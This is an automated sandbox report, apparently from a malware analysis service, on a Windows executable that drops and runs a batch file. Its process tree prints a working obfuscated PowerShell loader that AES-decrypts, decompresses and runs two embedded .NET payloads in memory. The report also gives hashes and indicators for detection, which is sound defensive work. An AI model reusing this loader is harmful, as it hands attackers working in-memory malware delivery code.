4d6a68af9d1de9ad0ed6dfdd5cbb0daa6341caa3798b26b3d2d111d06fc402ba

Analysis

max time kernel
30s
max time network
34s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
19/04/2023, 15:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 311KB
Sample230419-ssftwsdc4x
SHA256 4d6a68af9d1de9ad0ed6dfdd5cbb0daa6341caa3798b26b3d2d111d06fc402ba
MD5 6676b5b48f7b757f495e97fcecffbad7
SHA1 7fd2333363267168dd735e7610ab2b5dc11df692
SHA512 799c49968db922c19cc712e558e248becef157cfa121ede6739d990c971193bdcc19331a98fda43def03ff664b62365e4167d8e2b77f69b40cb87576bbbed49e
SSDEEP 6144:g61E/QSnxoEMTlXEulock9X+t40VMsQQEr2c+:g6ErxJMTtEulg9X+t4qMsvEyc+
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1512	3.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1360	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1512	3.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1512	3.bat.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1504	DllHost.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1744 wrote to memory of 1956	1744	file.exe	28
PID 1744 wrote to memory of 1956	1744	file.exe	28
PID 1744 wrote to memory of 1956	1744	file.exe	28
PID 1744 wrote to memory of 1956	1744	file.exe	28
PID 1956 wrote to memory of 1360	1956	cmd.exe	30
PID 1956 wrote to memory of 1360	1956	cmd.exe	30
PID 1956 wrote to memory of 1360	1956	cmd.exe	30
PID 1956 wrote to memory of 1360	1956	cmd.exe	30
PID 1360 wrote to memory of 1512	1360	cmd.exe	32
PID 1360 wrote to memory of 1512	1360	cmd.exe	32
PID 1360 wrote to memory of 1512	1360	cmd.exe	32
PID 1360 wrote to memory of 1512	1360	cmd.exe	32

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\3.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\RarSFX0\3.bat"
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1360
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\3.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\3.bat.exe" -w hidden -c $gmzQ='StCGDptCGDlittCGD'.Replace('tCGD', '');$wBry='GtCGDetCGDttCGDCtCGDurretCGDntPtCGDrocetCGDsstCGD'.Replace('tCGD', '');$UFIG='MaitCGDnMtCGDodtCGDultCGDetCGD'.Replace('tCGD', '');$ydhj='IntCGDvotCGDketCGD'.Replace('tCGD', '');$oVXW='FirtCGDsttCGD'.Replace('tCGD', '');$xCWJ='TratCGDnstCGDfotCGDrmFitCGDnaltCGDBltCGDoctCGDktCGD'.Replace('tCGD', '');$ldsd='ChtCGDangtCGDeEtCGDxtetCGDnstCGDiontCGD'.Replace('tCGD', '');$soKp='LoadtCGD'.Replace('tCGD', '');$CJnJ='FtCGDrtCGDomBtCGDastCGDetCGD64StCGDttCGDrintCGDgtCGD'.Replace('tCGD', '');$BkzZ='EnttCGDryPotCGDinttCGD'.Replace('tCGD', '');$JPpD='CreatCGDteDtCGDecrtCGDyptCGDtortCGD'.Replace('tCGD', '');$Nqsk='RtCGDeatCGDdLtCGDinestCGD'.Replace('tCGD', '');function FoWVR($lDXAY){$SSFqP=[System.Security.Cryptography.Aes]::Create();$SSFqP.Mode=[System.Security.Cryptography.CipherMode]::CBC;$SSFqP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$SSFqP.Key=[System.Convert]::$CJnJ('wgY2t3nIWeAplW7Oz1v+rb5iTNjlv5IyCDF1cizZbp8=');$SSFqP.IV=[System.Convert]::$CJnJ('Ih6Yh0yact8MGAo6o0A3AQ==');$YvISd=$SSFqP.$JPpD();$bAzRK=$YvISd.$xCWJ($lDXAY,0,$lDXAY.Length);$YvISd.Dispose();$SSFqP.Dispose();$bAzRK;}function yVADK($lDXAY){$zFGLX=New-Object System.IO.MemoryStream(,$lDXAY);$uUkMf=New-Object System.IO.MemoryStream;$LDQsc=New-Object System.IO.Compression.GZipStream($zFGLX,[IO.Compression.CompressionMode]::Decompress);$LDQsc.CopyTo($uUkMf);$LDQsc.Dispose();$zFGLX.Dispose();$uUkMf.Dispose();$uUkMf.ToArray();}$GRJMO=[System.Linq.Enumerable]::$oVXW([System.IO.File]::$Nqsk([System.IO.Path]::$ldsd([System.Diagnostics.Process]::$wBry().$UFIG.FileName, $null)));$TojFX=$GRJMO.Substring(3).$gmzQ(':');$BWlRW=yVADK (FoWVR ([Convert]::$CJnJ($TojFX[0])));$tnrNX=yVADK (FoWVR ([Convert]::$CJnJ($TojFX[1])));[System.Reflection.Assembly]::$soKp([byte[]]$tnrNX).$BkzZ.$ydhj($null,$null);[System.Reflection.Assembly]::$soKp([byte[]]$BWlRW).$BkzZ.$ydhj($null,$null);
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1512

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}
1⤵
- Suspicious use of FindShellTrayWindow
PID:1504

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3.bat

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\3.bat
Size 58KB
SHA256 86d83e52d8e81b9469d9fec2b7d46887cdbad3c5d73307e138562c64f01a979b
MD5 d594cce13a0801a559c6bb8232f171ec
SHA1 0b05791b56583c408d845d23eb3a733c56871fe1
SHA512 5c80f91fa440225f436976290adbb0cd38e89353af5fc0de4da234dbab33be4befe2660dc3c51b1c5f519bc73b6923531a618ee5b03fbcac5abaf770fd2d6ac8
SSDEEP 1536:0eiklfvudJtKWnLt2BUHnTp+/BwFTZEIH6V9A:HiwOdynizp9FTeI3
MD5 SHA1 SHA512 SSDEEP

Submit Download

3.bat

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\3.bat
Size 58KB
SHA256 86d83e52d8e81b9469d9fec2b7d46887cdbad3c5d73307e138562c64f01a979b
MD5 d594cce13a0801a559c6bb8232f171ec
SHA1 0b05791b56583c408d845d23eb3a733c56871fe1
SHA512 5c80f91fa440225f436976290adbb0cd38e89353af5fc0de4da234dbab33be4befe2660dc3c51b1c5f519bc73b6923531a618ee5b03fbcac5abaf770fd2d6ac8
SSDEEP 1536:0eiklfvudJtKWnLt2BUHnTp+/BwFTZEIH6V9A:HiwOdynizp9FTeI3
MD5 SHA1 SHA512 SSDEEP

Submit Download

3.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\3.bat.exe
Size 442KB
SHA256 6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
MD5 92f44e405db16ac55d97e3bfe3b132fa
SHA1 04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA512 f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f
SSDEEP 6144:+FYRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqOm:dRZgQhIKXzJ4pdd3klnnWosPhnzqN
MD5 SHA1 SHA512 SSDEEP

Submit Download

app.ico

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\app.ico
Size 44KB
SHA256 0f71ed87b41029fc99573d175f17b36d00cdbc5b6bb9c2c72b31d636c9e1b390
MD5 89666d30630f88129a43286a19ec3b65
SHA1 e125cd94ec968190f803cd7f3c63729f8260bebe
SHA512 a81bf617c87b71689cacbabda31818171c7084b601cf738d3ab0f6e013a4c9e212816be54609a92b54ca966f6c3b3180271f6f90b4b37d2d6ee0d50c4e1ae6aa
SSDEEP 192:lY2F3991ZuphyY8PGCz9QwAODCGQyBbd2/0rfqg6j4Tq58RI7MeZ:lY2LHZ2
MD5 SHA1 SHA512 SSDEEP

Submit Download

3.bat.exe

Path \Users\Admin\AppData\Local\Temp\RarSFX0\3.bat.exe
Size 442KB
SHA256 6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
MD5 92f44e405db16ac55d97e3bfe3b132fa
SHA1 04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA512 f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f
SSDEEP 6144:+FYRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqOm:dRZgQhIKXzJ4pdd3klnnWosPhnzqN
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1504-79-0x00000000001B0000-0x00000000001B2000-memory.dmp

Download

memory/1504-80-0x00000000002D0000-0x00000000002D1000-memory.dmp

Download

memory/1504-83-0x00000000002D0000-0x00000000002D1000-memory.dmp

Download

memory/1512-81-0x0000000002510000-0x0000000002550000-memory.dmp

Download

memory/1744-78-0x0000000002F40000-0x0000000002F42000-memory.dmp

Download